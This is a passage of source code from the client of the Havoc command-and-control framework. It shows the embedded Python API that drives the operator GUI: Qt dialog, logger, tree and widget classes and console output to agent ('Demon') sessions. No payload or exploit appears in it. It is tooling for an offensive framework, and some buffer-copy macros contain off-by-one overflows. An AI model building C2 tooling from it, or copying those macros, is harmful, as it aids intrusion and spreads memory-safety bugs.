PPyDemonClass self, PyObject *args ) { u32 Type = 0; char* Message = NULL; if( ! PyArg_ParseTuple( args, "is", &Type, &Message ) ) Py_RETURN_NONE; for ( auto& d : HavocX::Teamserver.Sessions ) { if ( d.Name.compare( self->DemonID ) == 0 ) { if ( Type == self->CONSOLE_INFO ) { d.InteractedWidget->DemonCommands->BufferedMessages << Util::ColorText::Green( "[+]" ) + " " + QString( Message ); break; } else if ( Type == self->CONSOLE_ERROR ) { d.InteractedWidget->DemonCommands->BufferedMessages << Util::ColorText::Red( "[!]" ) + " " + QString( Message ); break; } else if ( Type == self->CONSOLE_TASK ) { auto TaskID = QString( Util::gen_random( 8 ).c_str() ); d.InteractedWidget->DemonCommands->CommandTaskInfo[ TaskID ] = Message; return PyUnicode_FromString( TaskID.toStdString().c_str() ); } } } Py_RETURN_NONE; } ================================================ FILE: client/src/Havoc/PythonApi/PythonApi.cc ================================================ #include namespace emb { PyObject* Stdout_write(PyObject* self, PyObject* args) { std::size_t written(0); Stdout* selfimpl = reinterpret_cast(self); if (selfimpl->write) { char* data; if (!PyArg_ParseTuple(args, "s", &data)) return 0; std::string str(data); selfimpl->write(str); written = str.size(); } return PyLong_FromSize_t(written); } PyObject* Stdout_flush(PyObject* self, PyObject* args) { // no-op return Py_BuildValue(""); } PyMethodDef Stdout_methods[] = { {"write", Stdout_write, METH_VARARGS, "sys.stdout.write"}, {"flush", Stdout_flush, METH_VARARGS, "sys.stdout.flush"}, {0, 0, 0, 0} // sentinel }; PyTypeObject StdoutType = { PyVarObject_HEAD_INIT(0, 0) "emb.StdoutType", /* tp_name */ sizeof(Stdout), /* tp_basicsize */ 0, /* tp_itemsize */ 0, /* tp_dealloc */ 0, /* tp_print */ 0, /* tp_getattr */ 0, /* tp_setattr */ 0, /* tp_reserved */ 0, /* tp_repr */ 0, /* tp_as_number */ 0, /* tp_as_sequence */ 0, /* tp_as_mapping */ 0, /* tp_hash */ 0, /* tp_call */ 0, /* tp_str */ 0, /* tp_getattro */ 0, /* tp_setattro */ 0, /* tp_as_buffer */ Py_TPFLAGS_DEFAULT, /* tp_flags */ "emb.Stdout objects", /* tp_doc */ 0, /* tp_traverse */ 0, /* tp_clear */ 0, /* tp_richcompare */ 0, /* tp_weaklistoffset */ 0, /* tp_iter */ 0, /* tp_iternext */ Stdout_methods, /* tp_methods */ 0, /* tp_members */ 0, /* tp_getset */ 0, /* tp_base */ 0, /* tp_dict */ 0, /* tp_descr_get */ 0, /* tp_descr_set */ 0, /* tp_dictoffset */ 0, /* tp_init */ 0, /* tp_alloc */ 0, /* tp_new */ }; PyModuleDef embmodule = { PyModuleDef_HEAD_INIT, "emb", 0, -1, 0, }; // Internal state PyObject* g_stdout; PyObject* g_stdout_saved; PyMODINIT_FUNC PyInit_emb(void) { g_stdout = 0; g_stdout_saved = 0; StdoutType.tp_new = PyType_GenericNew; if (PyType_Ready(&StdoutType) < 0) return 0; PyObject* m = PyModule_Create(&embmodule); if (m) { Py_INCREF(&StdoutType); PyModule_AddObject(m, "Stdout", reinterpret_cast(&StdoutType)); } return m; } void set_stdout(stdout_write_type write) { if (!g_stdout) { g_stdout_saved = PySys_GetObject("stdout"); // borrowed g_stdout = StdoutType.tp_new(&StdoutType, 0, 0); } Stdout* impl = reinterpret_cast(g_stdout); impl->write = write; PySys_SetObject("stdout", g_stdout); } void reset_stdout() { if (g_stdout_saved) PySys_SetObject("stdout", g_stdout_saved); Py_XDECREF(g_stdout); g_stdout = 0; } } ================================================ FILE: client/src/Havoc/PythonApi/UI/PyDialogClass.cc ================================================ #define PY_SSIZE_T_CLEAN #include #include #include #include PyMemberDef PyDialogClass_members[] = { { "title", T_STRING, offsetof( PyDialogClass, title ), 0, "title" }, { NULL }, }; PyMethodDef PyDialogClass_methods[] = { { "exec", ( PyCFunction ) DialogClass_exec, METH_VARARGS, "Display the window" }, { "close", ( PyCFunction ) DialogClass_close, METH_VARARGS, "Close the window" }, { "addLabel", ( PyCFunction ) DialogClass_addLabel, METH_VARARGS, "Insert a label in the window" }, { "addImage", ( PyCFunction ) DialogClass_addImage, METH_VARARGS, "Insert an image in the window" }, { "addButton", ( PyCFunction ) DialogClass_addButton, METH_VARARGS, "Insert a button in the window" }, { "addCheckbox", ( PyCFunction ) DialogClass_addCheckbox, METH_VARARGS, "Insert a checkbox in the window" }, { "addCombobox", ( PyCFunction ) DialogClass_addCombobox, METH_VARARGS, "Insert a checkbox in the window" }, { "addLineedit", ( PyCFunction ) DialogClass_addLineedit, METH_VARARGS, "Insert a Line edit in the window" }, { "addCalendar", ( PyCFunction ) DialogClass_addCalendar, METH_VARARGS, "Insert a Calendar in the window" }, { "addDial", ( PyCFunction ) DialogClass_addDial, METH_VARARGS, "Insert a Dial in the window" }, { "addSlider", ( PyCFunction ) DialogClass_addSlider, METH_VARARGS, "Insert a Slider in the window" }, { "replaceLabel", ( PyCFunction ) DialogClass_replaceLabel, METH_VARARGS, "Replace a label with supplied text" }, { "clear", ( PyCFunction ) DialogClass_clear, METH_VARARGS, "clear the dialog" }, { NULL }, }; PyTypeObject PyDialogClass_Type = { PyVarObject_HEAD_INIT( &PyType_Type, 0 ) "havocui.dialog", /* tp_name */ sizeof( PyDialogClass ), /* tp_basicsize */ 0, /* tp_itemsize */ ( destructor ) DialogClass_dealloc, /* tp_dealloc */ 0, /* tp_print */ 0, /* tp_getattr */ 0, /* tp_setattr */ 0, /* tp_reserved */ 0, /* tp_repr */ 0, /* tp_as_number */ 0, /* tp_as_sequence */ 0, /* tp_as_mapping */ 0, /* tp_hash */ 0, /* tp_call */ 0, /* tp_str */ 0, /* tp_getattro */ 0, /* tp_setattro */ 0, /* tp_as_buffer */ Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, /* tp_flags */ "Dialog Havoc Object", /* tp_doc */ 0, /* tp_traverse */ 0, /* tp_clear */ 0, /* tp_richcompare */ 0, /* tp_weaklistoffset */ 0, /* tp_iter */ 0, /* tp_iternext */ PyDialogClass_methods, /* tp_methods */ PyDialogClass_members, /* tp_members */ 0, /* tp_getset */ 0, /* tp_base */ 0, /* tp_dict */ 0, /* tp_descr_get */ 0, /* tp_descr_set */ 0, /* tp_dictoffset */ ( initproc ) DialogClass_init, /* tp_init */ 0, /* tp_alloc */ DialogClass_new, /* tp_new */ }; #define AllocMov( des, src, size ) \ if ( size > 0 ) \ { \ des = ( char* ) malloc( size * sizeof( char ) ); \ memset( des, 0, size ); \ std::strcpy( des, src ); \ } void DialogClass_dealloc( PPyDialogClass self ) { if (self) { if (self->title) Py_XDECREF( self->title ); if (self->DialogWindow && self->DialogWindow->window) delete self->DialogWindow->window; if (self->DialogWindow) free(self->DialogWindow); Py_TYPE( self )->tp_free( ( PyObject* ) self ); } } PyObject* DialogClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds ) { PPyDialogClass self; self = ( PPyDialogClass ) PyType_Type.tp_alloc( type, 0 ); if (self == NULL) return NULL; self->DialogWindow = NULL; self->title = NULL; self->DialogWindow = (PPyDialogQWindow)malloc(sizeof(PyDialogQWindow)); if (self->DialogWindow == NULL) { Py_TYPE( self )->tp_free( ( PyObject* ) self ); return NULL; } self->DialogWindow->window = NULL; self->DialogWindow->layout = NULL; self->DialogWindow->scroll = NULL; self->DialogWindow->root = NULL; self->DialogWindow->root_layout = NULL; return ( PyObject* ) self; } int DialogClass_init( PPyDialogClass self, PyObject *args, PyObject *kwds ) { char* title = NULL; PyObject* scrollable = NULL; int width = 400; int height = 300; const char* kwdlist[] = { "title", "scrollable", "width", "height", NULL }; if ( ! PyArg_ParseTupleAndKeywords( args, kwds, "s|Oii", const_cast(kwdlist), &title, &scrollable, &width, &height) ) return -1; AllocMov( self->title, title, strlen(title) ); self->DialogWindow->window = new QDialog(HavocX::HavocUserInterface->HavocWindow); self->DialogWindow->window->setWindowTitle(title); self->DialogWindow->window->resize(width, height); self->DialogWindow->root = new QWidget(); self->DialogWindow->layout = new QVBoxLayout(self->DialogWindow->root); if (scrollable && PyBool_Check(scrollable) && scrollable == Py_True) { self->DialogWindow->scroll = new QScrollArea(self->DialogWindow->window); self->DialogWindow->scroll->setWidgetResizable(true); self->DialogWindow->scroll->setWidget(self->DialogWindow->root); } self->DialogWindow->root_layout = new QVBoxLayout(self->DialogWindow->window); if (scrollable && PyBool_Check(scrollable) && scrollable == Py_True) self->DialogWindow->root_layout->addWidget(self->DialogWindow->scroll); else self->DialogWindow->root_layout->addWidget(self->DialogWindow->root); return 0; } // Methods PyObject* DialogClass_exec( PPyDialogClass self, PyObject *args ) { self->DialogWindow->window->exec(); //HavocX::HavocUserInterface->NewBottomTab( self->DialogWindow, "test"); Py_RETURN_NONE; } PyObject* DialogClass_addLabel( PPyDialogClass self, PyObject *args ) { char *text = nullptr; if( !PyArg_ParseTuple( args, "s", &text) ) { Py_RETURN_NONE; } QLabel* label = new QLabel(text, self->DialogWindow->window); self->DialogWindow->layout->addWidget(label); Py_RETURN_NONE; } PyObject* DialogClass_addImage( PPyDialogClass self, PyObject *args ) { char *text = nullptr; if( !PyArg_ParseTuple( args, "s", &text) ) { Py_RETURN_NONE; } QPixmap img(text); QLabel* label = new QLabel(self->DialogWindow->window); label->setPixmap(img); self->DialogWindow->layout->addWidget(label); Py_RETURN_NONE; } PyObject* DialogClass_addButton( PPyDialogClass self, PyObject *args ) { char *text = nullptr; char *style = nullptr; PyObject* button_callback = nullptr; if( !PyArg_ParseTuple( args, "sO|s", &text, &button_callback, &style) ) { Py_RETURN_NONE; } if ( !PyCallable_Check(button_callback) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } QPushButton* button = new QPushButton(text, self->DialogWindow->window); if (style) button->setStyleSheet(style); self->DialogWindow->layout->addWidget(button); QObject::connect(button, &QPushButton::clicked, self->DialogWindow->window, [button_callback]() { PyObject_CallFunctionObjArgs(button_callback, nullptr); }); Py_RETURN_NONE; } PyObject* DialogClass_addCheckbox( PPyDialogClass self, PyObject *args ) { char *text = nullptr; char *style = nullptr; PyObject* checkbox_callback = nullptr; PyObject* is_checked = nullptr; if( !PyArg_ParseTuple( args, "sO|Os", &text, &checkbox_callback, &is_checked, &style) ) { Py_RETURN_NONE; } if ( !PyCallable_Check(checkbox_callback) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } QCheckBox* checkbox = new QCheckBox(text, self->DialogWindow->window); if (style) checkbox->setStyleSheet(style); if (is_checked && PyBool_Check(is_checked) && is_checked == Py_True) checkbox->setChecked(true); self->DialogWindow->layout->addWidget(checkbox); QObject::connect(checkbox, &QCheckBox::clicked, self->DialogWindow->window, [checkbox_callback]() { PyObject_CallFunctionObjArgs(checkbox_callback, nullptr); }); Py_RETURN_NONE; } PyObject* DialogClass_addCombobox( PPyDialogClass self, PyObject *args ) { Py_ssize_t tuple_size = PyTuple_Size(args); QComboBox* comboBox = new QComboBox(self->DialogWindow->window); PyObject* callable_obj = PyTuple_GetItem(args, 0); if ( !PyCallable_Check(callable_obj) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } for (Py_ssize_t i = 1; i < tuple_size; i++) { const char * string_obj = PyUnicode_AsUTF8(PyTuple_GetItem(args, i)); comboBox->addItem(string_obj); } self->DialogWindow->layout->addWidget(comboBox); QObject::connect(comboBox, QOverload::of(&QComboBox::activated), [callable_obj](int index) { PyObject* pArg = PyLong_FromLong(index); PyObject_CallFunctionObjArgs(callable_obj, pArg, nullptr); }); Py_RETURN_NONE; } PyObject* DialogClass_addLineedit( PPyDialogClass self, PyObject *args ) { char *text = nullptr; PyObject* line_callback = nullptr; if( !PyArg_ParseTuple( args, "sO", &text, &line_callback) ) { Py_RETURN_NONE; } if ( !PyCallable_Check(line_callback) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } QLineEdit* line = new QLineEdit(self->DialogWindow->window); line->setPlaceholderText(text); self->DialogWindow->layout->addWidget(line); QObject::connect(line, &QLineEdit::editingFinished, self->DialogWindow->window, [line, line_callback]() { QString text = line->text(); QByteArray byteArray = text.toUtf8(); char *charArray = byteArray.data(); PyObject* pyString = PyUnicode_DecodeFSDefault(charArray); PyObject_CallFunctionObjArgs(line_callback, pyString, nullptr); }); Py_RETURN_NONE; } PyObject* DialogClass_addCalendar( PPyDialogClass self, PyObject *args ) { PyObject* cal_callback = nullptr; if( !PyArg_ParseTuple( args, "O", &cal_callback) ) { Py_RETURN_NONE; } if ( !PyCallable_Check(cal_callback) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } QCalendarWidget* cal = new QCalendarWidget(self->DialogWindow->window); self->DialogWindow->layout->addWidget(cal); QObject::connect(cal, &QCalendarWidget::selectionChanged, self->DialogWindow->window, [cal, cal_callback]() { QDate selectedDate = cal->selectedDate(); QString text = selectedDate.toString("yyyy-MM-dd"); QByteArray byteArray = text.toUtf8(); char *charArray = byteArray.data(); PyObject* pyString = PyUnicode_DecodeFSDefault(charArray); PyObject_CallFunctionObjArgs(cal_callback, pyString, nullptr); }); Py_RETURN_NONE; } PyObject* DialogClass_addDial( PPyDialogClass self, PyObject *args ) { PyObject* cal_callback = nullptr; if( !PyArg_ParseTuple( args, "O", &cal_callback) ) { Py_RETURN_NONE; } if ( !PyCallable_Check(cal_callback) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } QDial* dial = new QDial(self->DialogWindow->window); self->DialogWindow->layout->addWidget(dial); QObject::connect(dial, &QDial::valueChanged, self->DialogWindow->window, [cal_callback](long value) { PyObject* pyLong = PyLong_FromLong(value); PyObject_CallFunctionObjArgs(cal_callback, pyLong, nullptr); }); Py_RETURN_NONE; } PyObject* DialogClass_addSlider( PPyDialogClass self, PyObject *args ) { PyObject* cal_callback = nullptr; PyObject* vertical = nullptr; if( !PyArg_ParseTuple( args, "O|O", &cal_callback, &vertical) ) { Py_RETURN_NONE; } if ( !PyCallable_Check(cal_callback) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return NULL; } QSlider* slider = nullptr; if (vertical && PyBool_Check(vertical) && vertical == Py_True) { slider = new QSlider(Qt::Vertical); } else { slider = new QSlider(Qt::Horizontal); } self->DialogWindow->layout->addWidget(slider); QObject::connect(slider, &QSlider::valueChanged, self->DialogWindow->window, [cal_callback](long value) { PyObject* pyLong = PyLong_FromLong(value); PyObject_CallFunctionObjArgs(cal_callback, pyLong, nullptr); }); Py_RETURN_NONE; } PyObject* DialogClass_replaceLabel( PPyDialogClass self, PyObject *args ) { char* to_find = NULL; char* to_replace= NULL; QVBoxLayout *layout = self->DialogWindow->layout; if( !PyArg_ParseTuple( args, "ss", &to_find, &to_replace) ) { Py_RETURN_NONE; } QString targetText = QString(to_find); for (int i = 0; i < layout->count(); ++i) { QLayoutItem* item = layout->itemAt(i); if (item->widget() && item->widget()->inherits("QLabel")) { QLabel* label = qobject_cast(item->widget()); if (label && label->text() == targetText) { label->setText(to_replace); break; } } } Py_RETURN_NONE; } PyObject* DialogClass_close( PPyDialogClass self, PyObject *args ) { self->DialogWindow->window->accept(); Py_RETURN_NONE; } PyObject* DialogClass_clear( PPyDialogClass self, PyObject *args ) { QVBoxLayout *layout = self->DialogWindow->layout; QLayoutItem* item; while ((item = layout->takeAt(0)) != nullptr) { delete item->widget(); delete item; } Py_RETURN_NONE; } ================================================ FILE: client/src/Havoc/PythonApi/UI/PyLoggerClass.cc ================================================ #define PY_SSIZE_T_CLEAN #include #include #include #include PyMemberDef PyLoggerClass_members[] = { { "title", T_STRING, offsetof( PyLoggerClass, title ), 0, "title" }, { NULL }, }; PyMethodDef PyLoggerClass_methods[] = { { "setBottomTab", ( PyCFunction ) LoggerClass_setBottomTab, METH_VARARGS, "Set widget as Bottom Tab" }, { "setSmallTab", ( PyCFunction ) LoggerClass_setSmallTab, METH_VARARGS, "Set widget as Small Tab" }, { "addText", ( PyCFunction ) LoggerClass_addText, METH_VARARGS, "add text to the logger widget" }, { "clear", ( PyCFunction ) LoggerClass_clear, METH_VARARGS, "clears the logger" }, { NULL }, }; PyTypeObject PyLoggerClass_Type = { PyVarObject_HEAD_INIT( &PyType_Type, 0 ) "havocui.logger", /* tp_name */ sizeof( PyLoggerClass ), /* tp_basicsize */ 0, /* tp_itemsize */ ( destructor ) LoggerClass_dealloc, /* tp_dealloc */ 0, /* tp_print */ 0, /* tp_getattr */ 0, /* tp_setattr */ 0, /* tp_reserved */ 0, /* tp_repr */ 0, /* tp_as_number */ 0, /* tp_as_sequence */ 0, /* tp_as_mapping */ 0, /* tp_hash */ 0, /* tp_call */ 0, /* tp_str */ 0, /* tp_getattro */ 0, /* tp_setattro */ 0, /* tp_as_buffer */ Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, /* tp_flags */ "Logger Widget Havoc Object", /* tp_doc */ 0, /* tp_traverse */ 0, /* tp_clear */ 0, /* tp_richcompare */ 0, /* tp_weaklistoffset */ 0, /* tp_iter */ 0, /* tp_iternext */ PyLoggerClass_methods, /* tp_methods */ PyLoggerClass_members, /* tp_members */ 0, /* tp_getset */ 0, /* tp_base */ 0, /* tp_dict */ 0, /* tp_descr_get */ 0, /* tp_descr_set */ 0, /* tp_dictoffset */ ( initproc ) LoggerClass_init, /* tp_init */ 0, /* tp_alloc */ LoggerClass_new, /* tp_new */ }; #define AllocMov( des, src, size ) \ if ( size > 0 ) \ { \ des = ( char* ) malloc( size * sizeof( char ) ); \ memset( des, 0, size ); \ std::strcpy( des, src ); \ } void LoggerClass_dealloc( PPyLoggerClass self ) { Py_XDECREF( self->title ); delete self->LoggerWindow->window; free(self->LoggerWindow); Py_TYPE( self )->tp_free( ( PyObject* ) self ); } PyObject* LoggerClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds ) { PPyLoggerClass self; self = ( PPyLoggerClass ) PyType_Type.tp_alloc( type, 0 ); return ( PyObject* ) self; } int LoggerClass_init( PPyLoggerClass self, PyObject *args, PyObject *kwds ) { if ( PyType_Type.tp_init( ( PyObject* ) self, args, kwds ) < 0 ) return -1; char* title = NULL; const char* kwdlist[] = { "title", NULL }; if ( ! PyArg_ParseTupleAndKeywords( args, kwds, "s", const_cast(kwdlist), &title ) ) return -1; AllocMov( self->title, title, strlen(title) ); self->LoggerWindow = (PPyLoggerQWindow)malloc(sizeof(PyLoggerQWindow)); if (self->LoggerWindow == NULL) return -1; self->LoggerWindow->window = new QWidget(); self->LoggerWindow->window->setWindowTitle(title); self->LoggerWindow->layout = new QGridLayout(self->LoggerWindow->window); self->LoggerWindow->layout->setContentsMargins(4, 4, 4, 4); self->LoggerWindow->LogSection = new QTextEdit(self->LoggerWindow->window); self->LoggerWindow->LogSection->setReadOnly(true); self->LoggerWindow->layout->addWidget(self->LoggerWindow->LogSection, 0, 0, 1, 1); return 0; } // Methods PyObject* LoggerClass_setBottomTab( PPyLoggerClass self, PyObject *args ) { HavocX::HavocUserInterface->NewBottomTab( self->LoggerWindow->window, self->title); Py_RETURN_NONE; } PyObject* LoggerClass_setSmallTab( PPyLoggerClass self, PyObject *args ) { HavocX::HavocUserInterface->NewSmallTab( self->LoggerWindow->window, self->title); Py_RETURN_NONE; } PyObject* LoggerClass_addText( PPyLoggerClass self, PyObject *args ) { char* text = NULL; if( !PyArg_ParseTuple( args, "s", &text) ) { Py_RETURN_NONE; } QString Qtext = QString(text); self->LoggerWindow->LogSection->append(Qtext); Py_RETURN_NONE; } PyObject* LoggerClass_clear( PPyLoggerClass self, PyObject *args ) { self->LoggerWindow->LogSection->clear(); Py_RETURN_NONE; } ================================================ FILE: client/src/Havoc/PythonApi/UI/PyTreeClass.cc ================================================ #define PY_SSIZE_T_CLEAN #include #include #include #include PyMemberDef PyTreeClass_members[] = { { "title", T_STRING, offsetof( PyTreeClass, title ), 0, "title" }, { NULL }, }; PyMethodDef PyTreeClass_methods[] = { { "setBottomTab", ( PyCFunction ) TreeClass_setBottomTab, METH_VARARGS, "Set widget as Bottom Tab" }, { "setSmallTab", ( PyCFunction ) TreeClass_setSmallTab, METH_VARARGS, "Set widget as Small Tab" }, { "addRow", ( PyCFunction ) TreeClass_addRow, METH_VARARGS, "add a row to the tree" }, { "setPanel", ( PyCFunction ) TreeClass_setPanel, METH_VARARGS, "Set the data inside of the panel" }, { "setItem", ( PyCFunction ) TreeClass_setItem, METH_VARARGS, "set an item in the tree" }, { NULL }, }; PyTypeObject PyTreeClass_Type = { PyVarObject_HEAD_INIT( &PyType_Type, 0 ) "havocui.tree", /* tp_name */ sizeof( PyTreeClass ), /* tp_basicsize */ 0, /* tp_itemsize */ ( destructor ) TreeClass_dealloc, /* tp_dealloc */ 0, /* tp_print */ 0, /* tp_getattr */ 0, /* tp_setattr */ 0, /* tp_reserved */ 0, /* tp_repr */ 0, /* tp_as_number */ 0, /* tp_as_sequence */ 0, /* tp_as_mapping */ 0, /* tp_hash */ 0, /* tp_call */ 0, /* tp_str */ 0, /* tp_getattro */ 0, /* tp_setattro */ 0, /* tp_as_buffer */ Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, /* tp_flags */ "Tree Widget Havoc Object", /* tp_doc */ 0, /* tp_traverse */ 0, /* tp_clear */ 0, /* tp_richcompare */ 0, /* tp_weaklistoffset */ 0, /* tp_iter */ 0, /* tp_iternext */ PyTreeClass_methods, /* tp_methods */ PyTreeClass_members, /* tp_members */ 0, /* tp_getset */ 0, /* tp_base */ 0, /* tp_dict */ 0, /* tp_descr_get */ 0, /* tp_descr_set */ 0, /* tp_dictoffset */ ( initproc ) TreeClass_init, /* tp_init */ 0, /* tp_alloc */ TreeClass_new, /* tp_new */ }; #define AllocMov( des, src, size ) \ if ( size > 0 ) \ { \ des = ( char* ) malloc( size * sizeof( char ) ); \ memset( des, 0, size ); \ std::strncpy( des, src, size ); \ } void TreeClass_dealloc( PPyTreeClass self ) { if (self) { if (self->title) Py_XDECREF( self->title ); if (self->TreeWindow && self->TreeWindow->window) delete self->TreeWindow->window; if (self->TreeWindow) free(self->TreeWindow); Py_TYPE( self )->tp_free( ( PyObject* ) self ); } } PyObject* TreeClass_new( PyTypeObject *type, PyObject *args, PyObject *kwds ) { PPyTreeClass self; self = ( PPyTreeClass ) PyType_Type.tp_alloc( type, 0 ); if (self == NULL) return NULL; self->title = NULL; self->TreeWindow = NULL; self->TreeWindow = (PPyTreeQWindow)malloc(sizeof(PyTreeQWindow)); if (self->TreeWindow == NULL) return NULL; self->TreeWindow->window = NULL; self->TreeWindow->layout = NULL; self->TreeWindow->scroll= NULL; self->TreeWindow->root = NULL; self->TreeWindow->panel = NULL; self->TreeWindow->root_layout = NULL; return ( PyObject* ) self; } int TreeClass_init( PPyTreeClass self, PyObject *args, PyObject *kwds ) { char* title = NULL; PyObject* class_callback = nullptr; PyObject* has_panel = nullptr; const char* kwdlist[] = { "title", "callback", "panel", NULL }; if ( ! PyArg_ParseTupleAndKeywords( args, kwds, "sO|O", const_cast(kwdlist), &title, &class_callback, &has_panel ) ) return -1; if ( !PyCallable_Check(class_callback) ) { PyErr_SetString(PyExc_TypeError, "parameter must be callable"); return -1; } AllocMov( self->title, title, strlen(title) ); self->TreeWindow->window = new QWidget(); self->TreeWindow->window->setWindowTitle(title); self->TreeWindow->root = new QWidget(); self->TreeWindow->layout = new QHBoxLayout(self->TreeWindow->root); self->TreeWindow->scroll = new QScrollArea(self->TreeWindow->window); self->TreeWindow->scroll->setWidgetResizable(true); self->TreeWindow->scroll->setWidget(self->TreeWindow->root); self->TreeWindow->root_layout = new QVBoxLayout(self->TreeWindow->window); self->TreeWindow->root_layout->addWidget(self->TreeWindow->scroll); self->TreeWindow->item_model = new QStandardItemModel(); self->TreeWindow->item_model->setColumnCount(1); self->TreeWindow->root_item = new QStandardItem(title); self->TreeWindow->tree_view = new QTreeView(); self->TreeWindow->tree_view->setEditTriggers(QAbstractItemView::NoEditTriggers); self->TreeWindow->tree_view->setModel(self->TreeWindow->item_model); self->TreeWindow->item_model->invisibleRootItem()->appendRow(self->TreeWindow->root_item); if (has_panel && PyBool_Check(has_panel) && has_panel == Py_True) { self->TreeWindow->splitter = new QSplitter(); self->TreeWindow->panel = new QTextBrowser(); //self->TreeWindow->panel->setOpenLinks(false); self->TreeWindow->panel->setOpenExternalLinks(true); //self->TreeWindow->panel->setReadOnly(true); self->TreeWindow->splitter->addWidget(self->TreeWindow->tree_view); self->TreeWindow->splitter->addWidget(self->TreeWindow->panel); self->TreeWindow->layout->addWidget(self->TreeWindow->splitter); } else { self->TreeWindow->layout->addWidget(self->TreeWindow->tree_view); } QObject::connect(self->TreeWindow->tree_view->selectionModel(), &QItemSelectionModel::selectionChanged, [self, class_callback](const QItemSelection &selected, const QItemSelection &deselected) { for (const QModelIndex &index : selected.indexes()) { QStandardItem *selectedItem = self->TreeWindow->item_model->itemFromIndex(index); if (selectedItem) { const char *str = selectedItem->text().toUtf8().constData(); PyObject* pystr = PyUnicode_DecodeFSDefault(str); PyObject_CallFunctionObjArgs(class_callback, pystr, nullptr); } } }); return 0; } // Methods PyObject* TreeClass_setBottomTab( PPyTreeClass self, PyObject *args ) { HavocX::HavocUserInterface->NewBottomTab( self->TreeWindow->window, self->title); Py_RETURN_NONE; } PyObject* TreeClass_setSmallTab( PPyTreeClass self, PyObject *args ) { HavocX::HavocUserInterface->NewSmallTab( self->TreeWindow->window, self->title); Py_RETURN_NONE; } PyObject* TreeClass_addRow( PPyTreeClass self, PyObject *args ) { const char *title = nullptr; Py_ssize_t tuple_size = PyTuple_Size(args); title = (const char *)PyUnicode_AsUTF8(PyTuple_GetItem(args, 0)); if (title == NULL) { PyErr_SetString(PyExc_TypeError, "First parameter must be a string"); } QStandardItem* child = new QStandardItem(title); QList child_data; for (Py_ssize_t i = 1; i < tuple_size; i++) { const char* child_str = PyUnicode_AsUTF8(PyTuple_GetItem(args, i)); child_data.append(new QStandardItem(child_str)); } child->appendColumn(child_data); self->TreeWindow->root_item->appendRow(child); Py_RETURN_NONE; } PyObject* TreeClass_setItem( PPyTreeClass self, PyObject *args ) { int x, y; char *str; if( !PyArg_ParseTuple( args, "iis", &x, &y, &str) ) { Py_RETURN_NONE; } QStandardItem* element = new QStandardItem(str); self->TreeWindow->item_model->setItem(x, y, element); Py_RETURN_NONE; } PyObject* TreeClass_setPanel( PPyTreeClass self, PyObject *args ) { char *str; if( !PyArg_ParseTuple( args, "s", &str) ) { Py_RETURN_NONE; } if (self->TreeWindow->panel) { self->TreeWindow->panel->clear(); QString Qtext = QString(str); //self->TreeWindow->panel->append(Qtext); self->TreeWindow->panel->setHtml(Qtext); } else { PyErr_SetString(PyExc_TypeError, "The tree panel was not activated on initialization"); } Py_RETURN_NONE; } ================================================ FILE: client/src/Havoc/PythonApi/UI/PyWidgetClass.cc ================================================ #define PY_SSIZE_T_CLEAN #include #include #include #include PyMemberDef PyWidgetClass_members[] = { { "title", T_STRING, offsetof( PyWidgetClass, title ), 0, "title" }, { NULL }, }; PyMethodDef PyWidgetClass_methods[] = { { "setBottomTab", ( PyCFunction ) WidgetClass_setBottomTab, METH_VARARGS, "Set widget as Bottom Tab" }, { "setSmallTab", ( PyCFunction ) WidgetClass_setSmallTab, METH_VARARGS, "Set widget as Small Tab" }, { "addLabel", ( PyCFunction ) WidgetClass_addLabel, METH_VARARGS, "Insert a label in the widget" }, { "addImage", ( PyCFunction ) WidgetClass_addImage, METH_VARARGS, "Insert an image in the widget" }, { "addButton", ( PyCFunction ) WidgetClass_addButton, METH_VARARGS, "Insert a button in the widget" }, { "addCheckbox", ( PyCFunction ) WidgetClass_addCheckbox, METH_VARARGS, "Insert a checkbox in the window" }, { "addCombobox", ( PyCFunction ) WidgetClass_addCombobox, METH_VARARGS, "Insert a checkbox in the window" }, { "addLineedit", ( PyCFunction ) WidgetClass_addLineedit, METH_VARARGS, "Insert a Line edit in the window" }, { "addCalendar", ( PyCFunction ) WidgetClass_addCalendar, METH_VARARGS, "Insert a Calendar in the window" }, { "addDial", ( PyCFunction ) WidgetClass_addDial, METH_VARARGS, "Insert a dial in the window" }, { "addSlider", ( PyCFunction ) WidgetClass_addSlider, METH_VARARGS, "Insert a slider in the window" }, { "replaceLabel", ( PyCFunction ) WidgetClass_replaceLabel, METH_VARARGS, "Replace a label with supplied text" }, { "clear", ( PyCFunction ) WidgetClass_clear, METH_VARARGS, "clear a widget" }, { NULL }, }; PyTypeObject PyWidgetClass_Type = { PyVarObject_HEAD_INIT( &PyType_Type, 0 ) "havocui.widget", /* tp_name */ sizeof( PyWidgetClass ), /* tp_basicsize */ 0, /* tp_itemsize */ ( destructor ) WidgetClass_dealloc, /* tp_dealloc */ 0, /* tp_print */ 0, /* tp_getattr */ 0, /* tp_setattr */ 0, /* tp_reserved */ 0, /* tp_repr */ 0, /* tp_as_number */ 0, /* tp_as_sequence */ 0, /* tp_as_mapping */ 0, /* tp_hash */ 0, /* tp_call */ 0, /* tp_str */ 0, /* tp_getattro */ 0, /* tp_setattro */ 0, /* tp_as_buffer */ Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, /* tp_flags */ "Widget Havoc Object", /* tp_doc */ 0, /* tp_traverse */ 0, /* tp_clear */ 0, /* tp_richcompare */ 0, /* tp_weaklistoffset */ 0, /* tp_iter */ 0, /* tp_iternext */ PyWidgetClass_methods, /* tp_methods */ PyWidgetClass_members, /* tp_members */ 0, /* tp_getset */ 0, /* tp_base */ 0, /* tp_dict */ 0, /* tp_descr_get */ 0, /* tp_descr_set */ 0, /* tp_dictoffset */ ( initproc ) WidgetClass_init, /* tp_init */ 0, /* tp_alloc */ WidgetClass_new, /* tp_new */ }; #define AllocMov( des, src, size ) \ if ( size > 0 ) \ { \ des = ( char* ) malloc( size * sizeof( 